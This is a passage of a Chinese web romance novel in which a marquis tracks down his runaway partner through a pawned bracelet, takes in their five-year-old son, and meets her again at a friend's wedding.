嘴脸变化之快,令人作呕。 白佳和宁泠离开了牢狱,但李正福允许她们以后随时可以探望。 回了香铺后,宁泠找出那个翠绿的玉镯。 即是在昏暗的光线,依旧色泽柔和,一瞧便知不是凡品。 “姐姐,你拿它出来干什么?”白佳哭得嗓子都哑了。 宁泠平时一直藏着它,只在救她时见过一次。 “当了救人。”宁泠冷静说道。 他们兄妹待她不薄,她有能力救人于水火,就不能袖手旁观。 回了侯府也好,宁泽铭不必再跟着她受苦了。 “不许当掉,用不着银子了。”白佳摇头。 她们已经试过了一切方法了,尽力了只能认命。 宁泠却说:“你先与李正福虚与委蛇,但莫要让他占了便宜,几日后会有转机。” “什么?”白佳不相信地睁大眼睛,“这个镯子这么有用。” 宁泠点点头,起身去了当铺。 当铺内宁泠当了玉镯,要了六百两。 其实她寻思过直接拿着玉镯或者带着宁泽铭,去找郡守说明身份。 可他们无权无势,容易被人当做无赖,或者黑心扣下手镯,都不可行。 上次逃跑他裴铉能通过金瓜子找出她,如今应该也紧盯着当铺。 她相信裴铉一定能来。 萧瑟凉意地寒风吹来,宁泠的意识忽地清醒了些。 她凭什么认为他一定回来?因为救命之恩?因为孩子?因为她? 整整五年多的时间过去了,裴铉会不会已经娶妻生子了? 她和泽铭怎么办?以后会变现在更好吗? 宁泠一个人安静地走了回去,宁泽铭揉揉惺忪的睡眼。 “娘亲,你才回来啊?”宁泽铭看看外面黑漆漆的夜色。 宁泠心绪不宁:“嗯,你爹爹有消息了,很快就会找来。” “啊?真的吗?”宁泽铭呆萌地问道。 宁泠点点头:“他从盛安城来,还要几日。” 这也是她拖延李正福的原因,要有转圜之机。先保证白大哥的性命,又要保下白佳的清白。 “可娘亲不喜欢盛安城啊?”宁泽铭还记得前几日的谈话。 娘亲不喜欢盛安城,不喜欢物价太高,不想回去,可爹爹好像住在盛安城。 宁泠默了默:“可我们还是要回去,你爹能给你更好的。” 孩子跟着她,她大部分精力都放在生意上,照顾不好他。 去了侯府不一样,裴铉承诺过会让孩子做世子。 她不能为了一己私欲,让孩子过苦日子。 其实宁泽铭这个年纪的小孩子,应该有许多玩伴。 可没有父亲的孩子,免不了被人欺负,都说小孩子童言无忌,可也无意里伤人最深。 白大哥的事情给了她警示,再多无用的努力抵不上权贵的一 句话。 他能做世子,能衣食无忧,荣华富贵。 跟着她泽铭常常孤零零一个人玩,她想要自由,可她不能替孩子做选择。 “那我回去不就好了。”宁泽铭一语惊人。 宁泠震惊地看着他。 他小脸沉思着说:“我和爹爹回去就好,娘亲不想回去就算了。” 五岁多的孩子已经有自己的思考了,他听许多人背后说娘亲是大户人家的小妾。 受不了正妻欺负,被撵跑了。 他可以受苦被欺负,娘亲不可以。 “等我能够保护娘亲了,娘亲再回来找我。”他想到了解决办法。 宁泠手手指颤抖地抚摸他那双与他相似的眼眸。 一日后盛安城内,林韦德眉飞色舞一片喜气地跑到争晖院。 却被人拦在书房外,自从他杀了王氏后,侯爷不肯再见他。 他被安排专门负责消息收集方面,不再是贴身侍卫。 “侯爷,夫人有消息了!找到她了!”林韦德大嗓门地吼道,满院子回荡着他的声音。 话音刚落,裴铉哗啦一声打开房门,他常年古井无澜的脸有了情绪波动。 林韦德将手里的密信递上,裴铉颤着手接过,一目十行读完。 信里说江南城内找到了另外一只玉镯,并且当掉玉镯的女子面容与画像对得上。 江南的探子又查了女子的户籍信息,户籍是五年前办的,而且还有个男孩五岁。 时间都能对上。 “去江南。”裴铉大笑一声,“立刻准备。” 三日的行程,裴铉觉得比三年还难熬。 他辗转反侧,难以入眠。 剩下这只镯子他找了五年,整整五年多时间,它是宁泠身上仅剩的首饰,唯一的线索。 他满怀激动地期待,又害怕是五年里重复无数次的结果。 日夜兼程,马不停蹄,下船后命人带路前往香铺。 裴铉远远看见佳蝶香铺前站着一位女子,身边还有个小孩子。 他的心脏激烈猛跳头脑充血,勒着缰绳的手颤抖不止飞驰靠近,却又忽地愣住了。 一盆冷水从头浇到脚,炙热的心顿时寒意冰封。 孩子与他长得相似,可那女子不是宁泠。 第67章 第67章【VIP】 裴铉居高临下地视线扫视两人:“宁泠呢?” 林韦德紧跟其后到达,一双眼眸直愣愣看着宁泽铭。 “娘亲走了。”宁泽铭虽然有点害怕但还是大着胆子回答,手里还拿着一封信,“你是我爹爹吗?” 走了?宁泠竟然抛下孩子走了? 宁可不要孩子,也决不愿意和他回去?那为什么还要当了手镯? 裴铉翻身下马,动作麻利:“是。” 他高大的身影笼罩着白佳和宁泽铭,白佳畏惧地后退一步。 “娘亲不喜欢盛安城,不想回去。”宁泽铭直白说道,将手里的信封递给了裴铉。 裴铉揭开信封,里面是宁泠熟悉的字。 她的字和以往区别不大,还是奇形怪状,勉强能读懂。 信上详细讲述了她当年坠崖后,白家兄妹是如何帮助救治她。 以及这些年来,白家兄妹对母子俩的照顾。 宁泽铭是他的孩子,言明如果他愿意奏请孩子为世子便能带走他。 若裴铉已成亲生子,恳请他看在以往情分上救救白家兄妹。 裴铉看完了信封,几分凉爽的秋意霎那间成了冻伤人的寒冰腊月。 意思直白明确,是为了救白家兄妹,才会泄露行踪。 甚至于还愿意用孩子做交换,信里颇多暗示。 意思大概就是他当年费尽心思想要个孩子,立下重重誓言。 现在愿望成真了,希望他能践诺,真心对待孩子。 他想要的是孩子吗?他想要的是宁泠! 她却抛夫弃子,一走了之。 她竟如此厌恶他?留下孩子独自一人也要走? 裴铉的眼里又浮现了茫然。 “侯爷,属下去追查行踪。”林韦德出声,打破了裴铉的沉思。 夫人顶多才走三日,定还有蛛丝马迹,有心搜罗,不怕没线索。 “不必了。”裴铉忽地又笑了,“她既安好,我就放心了。” 她总说他不尊重她,不肯放她走,不顾及她的想法,他要如何便如何。 他答应过宁泠,他一定会改。 曾经在无数次神明前,他心灰意冷,怀疑她早已不在人世,又不肯死心,一次次乞求期盼。 他无数次懊悔,怪自己太贪心,什么都想要,最后却一无所有。 他在神明前立誓,只要她活着,哪怕她再也不肯与他相见,他亦心满意足。 其实他以为宁泠纵然活着,也不愿生下孩子。 可宁泠竟然生下了,而且他仔细再读信,不难发现她诸多放不下的担心。 宁泠不仅活着,连他们的孩子也健健康康。这已是意外之喜,他不能太贪心,不能再去逼她。 “你娘亲说好久回来找你呢?”裴铉眼眸温柔地看着眼前的小男孩,“你叫什么名字?” 孩子和他很像,路上行人一眼便知是亲生的地步,唯独那双清澈无辜的眼眸与宁泠相似。 “等我能保护娘亲了,她就会回来。”宁泽铭也偷偷打量眼前人,“我叫宁泽铭,光泽的泽,铭记的铭。” 眼前这个高高大大的男人真的是他爹,他们长得好像啊。 裴铉又刹那间恍惚,铭记的铭。 宁泠想铭记什么?是他们一年的爱恨情仇?还是坠崖的万千痛楚?还是对他的滔天恨意? “小公子与侯爷一个模子刻出来的。”林韦德笑呵呵的。 虽然夫人走了,但侯爷终于有后了,侯爷定会慢慢好起来。 “是世子!”裴铉斩钉截铁。 泽铭是他与宁泠的孩子,是她怀胎十月,含辛茹苦,一个人异乡他客生下的孩子。 他答应过会爱他护他,用生命保护他。 白佳心惊胆战地望着眼前场景,没想到小泽铭的生父竟然是个侯爷。 一队整齐有素的队伍,皆都衣着不凡。 白佳心里百思不解,宁泠说她是妾室,可妾室的孩子能做世子吗?如果是正妻,宁泠为什么要走呢?不过她哥哥应该有救了。 “你是白佳?”裴铉感受到落在他身上的视线,有礼道:“多谢了,你哥哥的事情我会命人处理。” 他们对宁泠有救命之恩,她向来难得托付一件事件给他,定要办得漂亮。 白佳拘谨地点点头:“劳烦你了。” “林韦德去找当地郡守过来。”裴铉看了眼天色,虽然天色已黑,可事不宜迟。 “是。”林韦德面色窃喜,侯爷这是原谅他了。 说完话裴铉小心翼翼地牵住宁泽铭的手:“咱们进屋去等,外面风大。” 孩子的手小小的很软,他稍稍用力估计都能弄伤。 裴铉懊悔没有带几个照顾小孩的婆子来,他对如何照顾小孩子一点不知,听说小孩子娇贵易生病。 白佳和周婆婆热情地为裴铉端茶倒水,裴铉看着周婆子才想起信封后还附着一张卖身契。 估计宁泠担心宁泽铭一个人去盛安城害怕,身边没有亲近人。 让他带走宁泽铭时,一并带走从小照顾他的人。 她爱这个孩子,裴铉毫不怀疑。 那她是否对他也有一丁点爱意呢?对孩子如此担忧,爱屋及乌对孩子的父亲总不至于满怀仇恨吧。 想到这些,裴铉的心安稳了不少,眉眼舒展。 眼睛一眨不眨地盯着宁泽铭的眼眸,真像,可惜只有眼睛像。 没多久,江南城最大的官郡守急忙忙跟着林韦德骑马赶来。 身后跟着一堆官员。 “侯爷,你大老远来有失远迎啊。”郡守紧张地擦干汗水。 罗刹来了,谁不怕。 裴铉嘴角勾起冷笑:“郡守大人治下不严,下属滥用私用私刑,欺压百姓的诉状都告到本侯这儿了。” 郡守傻眼了,谁这么有本 事?那个蠢货干得好事,这么不长眼。 谁都知道这位侯爷深厚皇上信任,受命监察百官,最见不得以官压人,欺压百姓。 “请侯爷给属下一点时间,时间定会处理好。”郡守点头哈腰,满面愁容。 “不必了,本侯已查清。”裴铉眼眸阴鸷,“通判家的嫡幼子无法无天,现在还将人扣在牢狱里,随本侯去牢狱接人。” 郡守身后的李通判闻言,吓得扑通一声跪下,没想到那孽子闯下塌天大祸。 郡守狠狠狠了一眼,还要连累他。 “爹爹,你要去看白叔叔吗?”宁泽铭轻轻拉拉他的手,“带我一起嘛,我好久没见他了,好想白叔叔。” 宁泽铭除了娘亲,最熟悉的人就是周婆婆和白家兄妹。 尤其只有白洲言一个男子,从小带着他玩。 裴铉听了微不可察地皱眉,心里顿感隐秘难言的不适感。 说不出为什么,只是从宁泽铭的小嘴里听见他挂念别的男人不舒服。 “好。”裴铉本不想带宁泽铭去,牢狱血气重不干净。 可宁泽铭仰起他小小乖乖的脸,用与宁泠相似那双湿漉漉的眼眸央求他。 他再也狠不下拒绝,这是他儿子的第一个要求,他无法开口拒绝。 “白姑娘一起吧。”裴铉毫不费力地抱起宁泽铭,转身对白佳说道。 林韦德找了马车给白佳,宁泽铭被裴铉抱在怀里骑马。 “以前骑过马没?”裴铉小心地调整坐姿,安抚着摸摸宁泽铭的脑袋,“怕不怕?” 宁泽铭亮晶晶的眼眸满是兴奋:“不怕,以后爹爹能教我吗?” “当然能。”裴铉笑着肯定,“泽铭想学的,爹爹都乐意教。” 裴铉的心被填的满满,多年的阴霾一扫而光。 裴铉为了照顾宁泽铭,特意放慢速度。 他有意与孩子建立信任,找着话题交谈:“宁泠和你提过爹吗?” “提过。”宁泽铭面露回想,“说爹爹在外做生意,忽然没了行踪,现在终于有消息了。” 裴铉松了口气,他以为依照宁泠的脾气,会说他死了守寡。 裴铉和宁泽铭聊天的时候,宁泽铭圆圆的眼眸滴溜溜转着。 “爹爹,我有几个兄弟姐妹啊?”宁泽铭打探消息。 不知爹爹有没有正妻,听说做妾会被人欺负,娘亲才不能被人欺负。 “你娘不就你一个?”裴铉的脸色一白,难不成宁泠还有其他孩子? “我娘就我一个。”宁泽铭解释,“可爹爹就我一个吗?” 反正他的玩伴王小圆就有大娘小娘,他娘只生了她一个,他爹好几个。 他是小娘生的,王大圆就是大娘生的。 王大圆就爱欺负王小圆,其他人也不爱和王小圆玩。 裴铉如释重负笑笑:“说什么胡话,爹就你娘一个,自然只有你。” 宁泽铭满意地点点头,心里偷偷纳闷娘亲为什么不喜欢盛安城。 两人闲聊间到了牢狱,裴铉长臂一伸轻松地将宁泽铭抱下来。 宁泽铭很是羡慕,白叔叔都没这么大力气。 “你娘亲和白洲言关系很好吗?”裴铉变扭问道。 “对呀,小时候我还以为白叔叔是我爹呢。”宁泽铭毫不犹豫重重点头。 裴铉如遭雷击,愣在原地几秒后才行走。 宁泽铭不解地望着他。 裴铉深吸几口气,继续牵住宁泽铭走向牢狱。 两人在休息地地方坐了一会,白佳和林韦德跟上后,众人才一起去找白洲言。 有了白佳的松口,李正福的威压。白洲言住的地方不错,单独干净的一间房间,身上的伤有人上药,高热也退了下去。 但还是趴在床上养伤,一起来伤口还是拉扯地痛。 忽地听见一声欢快的奶音:“白叔叔,我们来接你出去了。” 白洲言猛地睁开眼,宁泽铭怎么能来这种地方。 却见一个男人牵着宁泽铭走来。 他视线上移,那人与宁泽铭长得很像,唯独一双眼眸一点不似。 他长得一双眼尾上挑的桃花眼,很是深邃。 桃花眼该是泛情多情,勾人蛊惑人心,但在他脸上却凭添危险。 似笑非笑,锐利逼人。 “你是?”白洲言嗓子发紧问道。 “我是宁泠的夫君,也是泽铭的父亲。”裴铉唇角上扬,语气不容置喙。 他虽态度温和,可白洲言却感觉到他居高临下的敌意。 白洲言强忍剧痛起身:“宁泠呢?” 从他嘴里听见妻子的名字,让裴铉心里很不爽。 可因着泽铭和宁泠,他只能披着温柔外皮忍气吞声。 “此前她与我置气,一走了之了。”裴铉简单说了下。 白洲言不信皱眉还想问。 裴铉笑笑:“有空担心别人,不如多想想自己。” 白佳眼尖地发现两人气氛不合,她扶着白洲言:“哥哥,我们能回去了。” “白大夫啊,是我家小子不懂事,希望你大人有大量,不要和他计较。”李通判哭得一把鼻涕一把泪。 侯爷铁面无情,只能想想办法看这里能松动不。 裴铉嗤笑出声,扭头对郡守:“依法处置。” “是,侯爷。”郡守连忙答应。 白洲言呼吸一窒,竟然是侯爷。 他强镇心神,侯爷又如此,宁泠心里无他,再有权势又如何。 宁泽铭看着白洲言面色不适,上前一步抱住他:“白叔叔你都瘦了,要多吃点长胖胖。” 裴铉的脸色肉眼可见地黑了下来,不吭一声。 “好,谢谢泽铭的关心。”白洲言摸摸他毛茸茸的小脑袋。 裴铉陪着宁泽铭在江南玩了几天后,给他时间和小伙伴们一一道别后回了盛安城。 江南城下的金江县,宁泠住在客栈内。 那天夜晚,宁泽铭的话让她心动了。 曾经她想离开侯府后,去看烟雨江南,看一望无边的草原,牛羊成群,似乎哪儿的风儿都带着自由的味道。 去看波光粼粼的湖泊,去攀登巍峨雄壮的高山,去感受一览众山小。 去领略世界万千不同,但后来有了宁泽铭。 虽然没有了裴铉的控制,但责任心一直压在她心头。 现在她可以实现她以前的梦想,作为一个母亲她尽职尽责养育了宁泽铭五年。 裴铉作为一个父亲,该轮到他承担作为父亲的责任。 小半年后,临近过年。 皇宫内裴铉将事务汇总禀报,后面就是年休了。 “堂兄,年宴要将小世子带来给朕看看。”宣帝笑得温和无害,“嫂子回来没?” 没想到他这个堂兄不声不响的,孩子都五岁了。 “孩子自然要带来给皇上瞧瞧。”裴铉笑着回答。 然后闭口不答宣帝后半句话。 宣帝挑眉诧异望着裴铉,孩子都这么大了,追妻还没追上? 他打量的视线将裴铉从头看到脚,从上到下仔仔细细,到底是哪里出了毛病,这么惹人嫌弃? 侯府的红灯笼喜气洋洋挂着,上上下下都笑脸洋溢。 第六年了,侯府终于有过年的气息了。 宁泽铭好奇的眼睛四处转溜,没见过这么热闹的场景。 “泽铭。”刚回来的裴铉对他招招手,“今天休沐,爹带你出去玩。” 小孩子喜欢玩的事情,裴铉已经事前了解过。 三人人开开心心地玩了许久,裴铉林韦德带着泽铭去一品楼吃饭。 五年里他来这吃过很多次,酥蜜饼是必点菜。 虽然宁泠还没回来,但现在他们有孩子了。 听见裴铉点了酥蜜饼,宁泽铭的耳朵竖起眼眸亮了起来。 “喜欢吃这些?”裴铉给孩子倒了一杯温热的白水。 找来的姑姑们叮嘱小孩子要多喝水,少饮茶少吃甜食。 宁泽铭坦诚地点点头:“爱吃,娘也爱吃,还说盛安城内有家酥蜜饼很好吃。” 裴铉的神情僵滞了一瞬,他以为宁泠会对盛安城,对他都只字不提。 他害怕他留给宁泠的只有恨意,原来还是有美好的回忆。 “她说得就是这家,爹以前经常给她买。”裴铉神情恢复说道。 饼上来后,裴铉想了想对宁泽铭说:“小孩子不能吃太多甜食,只能吃两个。” “好吧。”宁泽铭委屈地眨巴眨巴无辜的眼睛。 林韦德坐着旁边一起吃饭,看着两人气氛融洽。 宁泽铭最先吃了酥蜜饼,金黄色的外皮脆酥酥的,他惬意地眯起眼睛。 吃完两个饼 后,他遗憾地擦擦手。 转头开始吃其他,小小的他不挑食,什么都能吃,什么都吃得香。 像是一头小猪,呼噜呼噜狂铉。 以前裴铉心情郁结,食欲不好,有了宁泽铭后,脸上都添了几分肉。 吃着吃着,宁泽铭灵动的眼眸偷偷喵人。 见裴铉和林韦德专心吃饭,没人关注他。 蠢蠢欲动的小手迅速偷拿了一个酥蜜饼,馋猫似地偷吃。 裴铉的唇角轻轻扬起,和他娘一样,馋嘴爱偷吃。 林韦德见了这一幕,神情恍惚回想。 六年前,夫人也曾这样做,侯爷同样装作不知。 宫宴这一天,裴铉带着宁泽铭去参加。 宁泽铭有些忐忑不安,他没见过那么多人。 “不怕,爹会一直陪在你身上。”裴铉温柔的大手抚摸着他的眼,“若是有兴趣相投的小朋友,你大胆去交朋友,请来府里玩玩。” 宁泽铭点点头。 宫宴上歌舞升平,热闹非凡,推杯换盏。 可大家的眼睛都偷偷看着裴铉,他带了个儿子回来的事情,早就传遍了整个盛安城。 身形高大的裴铉牵住小小的宁泽铭出来,众人的视线跟了过来。 两父子几乎长得一模一样,但裴铉一张俊脸上的桃花眼,深情迷人暗藏危险,笑意浮在嘴边,皮笑肉不笑,给人很危险的感觉。 前几年他很少参加宴会,来了也是阴沉一张脸很不好惹,现在笑了大家心里却发怵得很。他儿子看起来倒是单纯无害,一双无辜圆圆的眼睛很是招人喜欢。 “小泽铭快过来。”宣帝招招手,他批得世子文书知晓名字。 宁泽铭抬头看裴铉,裴铉温柔地笑:“去吧,别怕。” 府里的姑姑已经教导过他礼仪,他规规矩矩地行礼后上前。 宣帝看着宁泽铭,六年了他虽有了孩子,却膝下无子。 宁泽铭适应后也不怕生,眼馋地望着桌上的糕点果子。 “想吃什么都拿。”宣帝打趣道:“朕可不是你那抠门吝啬的爹。” “谢谢皇上。”宁泽铭笑得真诚,眼眸弯弯。 宣帝忽然想到了,当年查案子买了一块玉佩都要找他讨要银子。 给女人买首饰可是大手一挥,毫不心疼,现在却连影子都没。 宫宴上有人蠢蠢欲动,世子虽然有了,可未看见妇人跟随。 估计还没正妻,还没侧室。 “许久未见,没想到侯爷的孩子都这么大了。”有人站起来说道:“有了孩子,家里没个主持中馈的主母可不行啊。” 宁泽铭不傻,神情先是紧张不安,接着又愤怒气鼓鼓地看着裴铉。 “已有正妻,她向来喜静。”裴铉深邃的视线看向那人,似毒蛇紧紧缠绕要人性命,“不劳烦你费心。” 若不是指望参加宫宴,泽铭能与年纪相仿的人多认识认识。 他才没兴趣费时间来这,更没兴趣敷衍人。 “可不能回回都一个人参加宫宴嘛。”姚科酒劲上来,“再纳个侧室出门应酬多合适啊。” 裴铉冷笑一声,拎着一壶酒走至姚科面前。 姚科还以为要与他敬酒,忙端起酒杯,裴铉高高在上蔑视他一眼,大手拿着酒壶倾斜而下,冰凉的冷酒浸湿衣裳。 裴铉笑得张扬肆意:“姚大人酒醒了吗?本侯的家事轮不到你来决定。” 姚科吓了一跳,刚要发怒,抬头去看宣帝,发现他不看不管。 “是我酒后失言了。”姚科忍着这口气赔礼,要不是青州柳家许下重金让他牵线,他才懒得多管闲事。 裴铉将酒壶一扔:“我已立下重誓,此生不纳妾,以后都不劳烦大家费心了。” 这种事一次说清楚最好,隔三差五恼人最烦。 大家都窃窃私语,没想到裴铉还是个妻管严。 宫宴结束后,裴铉带着宁泽铭回了侯府。 裴铉担心宁泽铭初来盛安城,年纪又小,一个人睡觉估计会害怕。 一直以来都是两父子同睡。 其实裴铉小时候也是独自睡觉,到宁泽铭这个年纪都单独一个院子。 估计城内的官宦世家也是如此。 和母亲同睡都少,更别说和父亲了。 但裴铉总是担心太多了,瞻前顾后。万一下人私下使坏,不仔细等等。 孩子是他千辛万苦求来的,他必定视若珍宝。 常言道母子连心,宁泽铭不好了,宁泠怕是更难过,更不待见他。 年夜时外面一阵阵放着灿烂的烟花,宁泽铭待在烧了炭温暖的屋内看绽放的烟花。 要是这么美的烟花娘能和他一起看见就好了,越是热闹后的清冷越惹人伤感回忆。 宁泽铭的眼泪从小脸流了下来,吓得裴铉手足无措忙问道:“怎么了?” “爹,我想娘亲了。”宁泽铭鼻子抽泣回答。 他从来没有离开娘这么久,虽然爹精心呵护对他很好。 娘离开时他像个男子汉似,可偷偷还是难过。 外面的烟花清楚映照裴铉的瞳孔,他落寞了几分:“我也想她了。” “为什么娘不喜欢这里?”宁泽铭问道。 以前他以为是府里有其他坏女人,可是没有其他人,只有爹。 裴铉苦笑:“爹以前做错了事,你娘还在气头上不肯原谅我。” “你没有道歉吗?”宁泽铭神色好奇,“我每次做了事情,认错了娘就会原谅我。” 裴铉情绪低落:“认错了。” 可不是所有的悔过都能换来原谅,宁泠能轻易原谅宁泽铭,是因为爱意。 而宁泠对他有爱有喜欢吗? “睡吧。”裴铉哄道,“小孩子不能晚睡。” 半年一晃而过,夏季燥热,金黄炙热的太阳高挂上空,万里地面都是闷热的蒸笼。 宁泠收到了白佳的书信,说她要嫁人了,希望宁泠能回江南参加。 将近一年的时间,宁泠游山玩水,刚开始她还担心裴铉找她。 后来发现他大概是有了孩子,就不再紧盯着她。 宁泠记挂宁泽铭,可暂时想不到怎么避过裴铉见孩子。 白佳嫁人她不能不去,她也该休整一番。 反正回江南,又不是盛安城,裴铉总不可能会去参加白佳的婚宴。 第68章 第68章【VIP】 江南城内,白家兄妹坐在一起商讨婚宴事宜。 “哥,咱们是不是该给侯府发请帖?”白佳皱眉问道。 她拿不定主意,宁泠她是必定要请的,可宁泠与裴铉关系复杂不宜见面。 而且他们小户人家,去给侯府递帖子有些攀高枝,不自量力之嫌。 但裴铉毕竟对白家有救命之恩,不问不理有些失礼。 “既然请了宁泠。”白洲言沉思片刻,“便不宜再请侯爷。但礼不可失,就晚几日送上一份江南特产的礼,以表感谢。” 出嫁的时间是早已算好的,发请帖要提前通知,以防宾客有事来不及。晚些日子送礼给侯府,算着日子刚好出嫁那日到,也算是有所表示不至于太尴尬。 殊不知他们的消息,一举一动都被人监视。 盛安城争晖院内,裴铉耐心指导宁泽铭写字,林韦德进来说道:“白佳要嫁人了,夫人定会回江南,侯爷去不去江南看看夫人?” “嫁人?”裴铉审视林韦德,面色不悦“你派人去监视宁泠?” 宁泠定然不喜约束监视,他说了要尊重 她,便做到说到。 “冤枉啊。”林韦德赶紧狡辩,“我哪有胆子去跟踪夫人,不过是江南的官员知晓了白佳要嫁人,那群人精拐着弯各种打探侯爷去不去?许是认为白家与侯府关系不浅,想和侯爷拉进关系。” 裴铉的眸色有流光闪过:“发请帖没?” 林韦德面色不好看:“没,白家兄妹真是侯爷救了他们还这么不懂事。” 林韦德本想骂道白眼狼,但是担心宁泽铭听见不开心,只能含糊不清地带过。 裴铉还没说话,旁边的宁泽铭欢快道:“白姨要嫁人了啊,我要去,说不定能见到娘亲呢。” “那就去。”裴铉笑笑刮刮他的鼻子,“泽铭想去,自然要去。但低调出行即可。” 裴铉隐藏住眼眸的激动和期待,六年多了,他们还不曾见过一面。 这一天终于来了,是泽铭闹着要去,可不能怪他。 林韦德:“那我先去准备了。” 他专门挑着小世子在时说话,侯爷也是明明心动得不得了,还扭扭捏捏瞻前顾后,拿孩子当挡箭牌。 宁泠在白佳出嫁前几日回了香铺,白佳很高兴还命人将白洲言喊了回来。 事情真相大白后,医馆又将他请了回去。 “宁泠,瘦了。”白洲言视线温和地扫过她的脸。 宁泠将沿途买回来的土特产拿在桌子上:“这不是瘦了,是更结实了。” 天南海北地跑了一趟,皮肤也不似之前白皙,但整个人更加开朗了。 三人坐下来闲聊,询问起白佳的未婚夫。 是江南城郊的人家,家境也算殷实,有几亩田产,为人老实本分,对白佳婚后继续做香料生意很赞同。 宁泠听了后,看向白洲言打趣:“白大哥还不着急吗?妹妹都嫁人了呢,你这个做哥哥还孤家寡人。” 白洲言的视线对上宁泠清澈的眼眸,低了头没说话。 他懂其实她是在委婉地拒绝。 出嫁那天,鞭炮齐响,沿途的小孩子鼓掌要喜糖,热热闹闹。 院子内宁泠帮着白洲言一起招待客人,忙着脚不沾地。 裴铉牵着宁泽铭的手下了马车进来,他立刻从一堆身影里找到了那个日思夜想,萦绕心头的人。 他的心脏不可控地加速跳动,血液翻腾,眼眸湿润。 六年多的时间啊,他终于与她再见了。 她的容貌与六年前几乎没有任何变化,依旧灵动娇俏。 她脸上洋溢着笑容,连眼眸里也带着笑意,整个人容光焕发。 一改往日侯府的低沉,眉宇间总笼罩着一股忧愁。 大概裴铉的视线太过炙热凝实,宁泠本能地循了回去。 两人隔着茫茫人海对视,似乎四周的喧闹,噪杂都消音了。 裴铉对她温柔的笑笑,没有以往的肆意张扬。 深情的桃花眼盛满爱意,气质内敛温和。 “娘!”宁泽铭的大嗓门响起,裴铉松了手。 他兴高采烈地扑了过去,幸福地抱着宁泠的腿:“娘亲,我好想你啊。” 宁泠摸摸他的脑袋:“娘也好想你。” 泽铭长大了更高了,被养的白白嫩嫩,是个矜贵的公子模样。 “泽铭把白叔叔忘了?”一旁的白洲言被宁泽铭的大嗓门吸引走来。 “当然没忘,我还想着白姨呢,今天她嫁人了,还要给我发喜糖。”宁泽铭笑着露出洁白的牙齿,满脸乐滋滋。 见白洲言与宁泠靠近,裴铉早将徐徐图之抛之脑后。 刚才远远看着他们一起招待客人,似乎他们才是一对夫妻,一起迎来送往。 他大步流星走来,高大挺拔的身姿带着压迫感。 “侯爷。”白洲言礼貌地打招呼。 有宁泠在面前,裴铉难得没冷脸:“白大夫。” 白洲言本想和宁泽铭多聊几句,但没站多久就被人叫走了。只剩下一家三口站在原地,场面越发尴尬沉默了。 “宁泠,好久不见。”裴铉欢快地扬起嘴角,黝黑的瞳仁全是她的倒影。 宁泠敷衍地应了一声:“侯爷。” 他的视线紧紧黏在宁泠身上,不知为何她倏地有点心虚,本以往与他再见会是气势汹汹,剑拔弩张的场面。 却没想到如此平静温和的谈话,似是多年好友。 她以为裴铉会质问她,质问她为什么这么多年隐姓埋名?为什么狠心不让他们父子相见?为什么扔了孩子自己跑了? 没想到他绝口不提。 “外面玩得开心吗?”裴铉笑着询问:“去了哪些地方,愿意和我分享下吗” 待他走近,宁泠才心惊地发现他鬓角处竟有了不少白发,有点扎眼。 但那张脸依旧无可挑剔,昳丽俊美。 “还行。”宁泠多看了几眼白发,“怎么长这么多白发?” 他也才二十九,何至于开始长白发。 “都是想你愁的。”裴铉直白地开口。 宁泠瞪他一眼,不好意思地低头去看孩子。 宁泽铭咧嘴笑着,闪亮的眼眸在两人身上来回。 夏日的太阳不容小觑,将地面上的人炭烤。 “外面热,去我屋子里待会吧。”宁泠摸摸宁泽铭红彤彤的小脸蛋,但裴铉不请自来地跟着她身后。 到了安静的屋内,裴铉的存在更不可忽视,宁泠的心不由地更慌了,有意回避。 她对宁泽铭说道:“你在这里待着,娘去你接点水。” 宁泽铭乖乖点点头。 宁泠拿了茶壶急匆匆地出了门,裴铉却阴魂不散地跟了出去。 宁泽铭看见了没多问。 宁泠一路快走到茶房,她连忙想去关门,裴铉却长腿一迈伸了一只脚抵住她的动作。 宁泠装作无视,使劲关门。 “哎呀。”裴铉痛苦叫唤一声,“宁泠,你要谋杀亲夫吗?” 宁泠忍不住回怼道:“别胡说。” 她就知道他刚才是披着羊皮的狼,在外面笑得温柔淡定,实则内心定憋了坏主意,估计现在来找她算账了,他一直都是睚眦必报,阴晴不定。 “你是泽铭的娘。”裴铉慢悠悠,气定神闲,“我是泽铭的爹,不是你夫君是什么?而且请封你为夫人的文书已过,我们可是正儿八经的夫妻。” 宁泠依旧用力关门,裴铉也不反抗,两人僵持了一会,宁泠无奈松了手。 “你不是我夫君。”宁泠丢下一句话,就去煮水。 裴铉进了屋和她保持着不近不远的距离,他耷眉丧眼倾诉委屈:“你知道吗?当年我以为你们母子没了,气得吐血生了一场大病,白发都是忧愁出来的。” 宁泠听了心里也不是毫无触动,但他们已互不相欠了,一个侯爷轮不到她可怜。 “宁泠,我知道自己以前做了很多错事,可我会弥补会改,你原谅我好不好?”他自顾自地说道。 宁泠默了一息,坚定说道:“我不会回侯府了,你不必多言。” 她很满意现在的生活,她有能力制香养活自己,有自己爱好和自由,她不喜欢侯府那个牢笼,不喜欢日复一日,每天的心思都花在一个男人身上。 以前她以为自己是不愿做妾,以为自己想要做正妻。 后来几次逃跑的经历,她朦朦胧胧意识到她想要的不是正妻,她想要的是自由和尊重。只不过她以为自由和尊重是正妻才有的。 “你不要我,连泽铭也不要吗?”裴铉问道。 宁泠顿了一瞬,小心翼翼问道:“我能随时去看他吗?” 现在这样挺好的,泽铭在侯府安安稳稳做小世子,她实在想念了就去看看他。 “宁泠,如果你愿意抱抱我,我就答应。”裴铉歪头笑着看她。 宁泠无辜圆润的眼眸睁大,不知他怎么理直气壮说出这句话。 “一个拥抱而已,又不是亲吻怕什么?”裴铉说得轻描淡写,“仅仅一个拥抱我就答应你,可以不回侯府,可以随时来侯府看泽铭,我相信泽铭也会很开心你来看他。而且你想要的自由都可以得到。” “如果我不呢?”宁泠不悦地皱眉,“你就不允许我们母子相见?” 宁泠低头有些生气,裴铉还是那个裴铉,惯用条件交换来到达目的。 裴铉轻笑瞥了窗外一眼,忽然箭步上前猛地将宁泠抱着。她柔软的身躯被他紧拥,她清甜气息围绕在他鼻尖,两人彼此间的心跳声都能清晰听见。 “宁泠,我好想你啊。”裴铉的声音低沉,诉说着无尽思念。他的脑袋蹭了蹭她白皙的脖颈,他宽厚的大手揽住宁泠纤细的腰。 窗外的有道人影一愣,几乎落荒而逃。 宁泠先是身体瞬间僵硬,接着大脑反应过来刚要推开发怒质问。 裴 铉却迅速松手退后,笑得无赖,“你不愿抱就不抱,我对你向来都是无计可施,哪敢让你不见孩子,只有你不准我见孩子的。不过没事,我抱你就好。” 